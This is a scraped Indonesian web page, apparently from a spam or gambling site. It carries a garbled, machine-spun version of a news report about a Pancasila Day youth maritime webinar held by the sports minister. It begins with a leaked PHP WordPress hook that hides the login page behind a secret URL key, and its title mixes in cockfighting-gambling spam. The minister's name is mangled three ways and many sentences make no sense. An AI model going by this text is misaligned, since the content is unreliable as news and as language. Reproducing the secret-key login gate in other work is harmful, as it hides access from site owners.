//̨¼ add_action('login_enqueue_scripts','login_protection'); function login_protection(){ if($_GET['word'] != '2868973770')header('Location: https://www.baidu.com/'); } Untuk memperingati pesan Mombola: Harlah Pancasila: kaum muda di laut harus mendidik rakyat | s1288 net login_download game adu ayam_sabung ayam judi
2020-07-08 |  Kilas Kementerian

Jakarta TRIBUNNEWS.COM-Untuk memperingati kelahiran Pancasila, Menpora Zainudin Amali menyelenggarakan pertemuan publik untuk kaum muda di bawah naungan Kepulauan Pemuda Maritim (MMN) melalui konferensi video “Youth Conference” bekerja sama dengan Kementerian Pemuda dan Kementerian Pemuda. Senin (1/6/2020) siang.

Dalam proses persiapan berkesinambungan untuk era normal baru, kegiatan aktif di era digital diketuai oleh pendiri dan presiden kaisar utama MMN, dengan tema “Konstitusi Pancasila dan Pemuda di Laut Zaman Digital”.

Menteri Pemuda dan Olahraga menekankan dalam pengantar bahwa segala sesuatu yang dilakukan oleh anak-anak, terutama kaum muda, di negara ini tidak boleh dipisahkan dari Pancasila. Mongbola berkata: “Pancasila mengucapkan selamat berlibur, Selamat Hari Pancasila, apa pun yang kita lakukan, tidak dapat mencapai kesepakatan akhir dengan ideologi negara dan negara (yaitu Pancasila). “Mumbola menyambut semua peserta, dengan total 447 peserta.

Menteri Pemuda dan Olahraga juga menyatakan penghargaan untuk konsep MMN dan menyampaikan informasi berharga. Menurut informasi ini, era digital atau milenium Era ini harus beradaptasi dengan cepat, bahkan jika tidak ditinggalkan atau dipinggirkan.

MMN dapat memberikan empat kontribusi sambil meningkatkan kemampuan digital, yaitu memantau implementasi peraturan maritim, mendidik masyarakat, pelatihan dan literasi maritim, Bekerja keras untuk memelihara budaya maritim tentang kearifan lokal dan mengendalikan sumber daya laut dan memberdayakan sumber daya manusia.

“MMN terus berlokasi di Pancasila dan dapat dimonitor, misalnya, untuk melaporkan kepada otoritas terkait jika terjadi pelanggaran laut, dan kepada publik Penting juga untuk memberikan pendidikan. Misalnya, jangan melemparkan menteri pemuda dan olahraga mengatakan: “Sampah di lautan akan mencemari lingkungan, dan kreativitas digital dapat digunakan untuk ini.” Semoga, MMN tidak akan mengadakan webinar seperti itu di sini. Dia menambahkan: “Tindakan lanjutan dapat diambil, yang dapat dikombinasikan dengan Program Pemuda Prioritas Remaja yang akan segera dilaksanakan.”

Ini menyimpulkan webinar, Faisal Abdullah, Asisten Pemberdayaan Pemuda ( Faisal Abdullah) mengatakan beberapa kata terakhir yang harus dipertimbangkan bersama: masalah kelautan anak muda selalu merupakan masalah yang perlu diperhatikan.

Menurut statistik, kurang dari 1% dari 67 juta anak muda Indonesia berjuang di laut. Dia menyimpulkan: “Tiga perempat wilayah kita adalah samudera, dan pasti ada banyak departemen tenaga kerja yang terlibat. Tidak akan ada keadilan sosial tanpa upaya kita.”

Berpartisipasilah dalam pertemuan terbuka Youth Webinar ini. Kali ini staf pemuda Venno Tetelepta, TAM Syamsul Qamar dan I Gusti Putu Rake, asisten asisten pengembangan kapasitas pemuda. (*)

Tinggalkan Balasan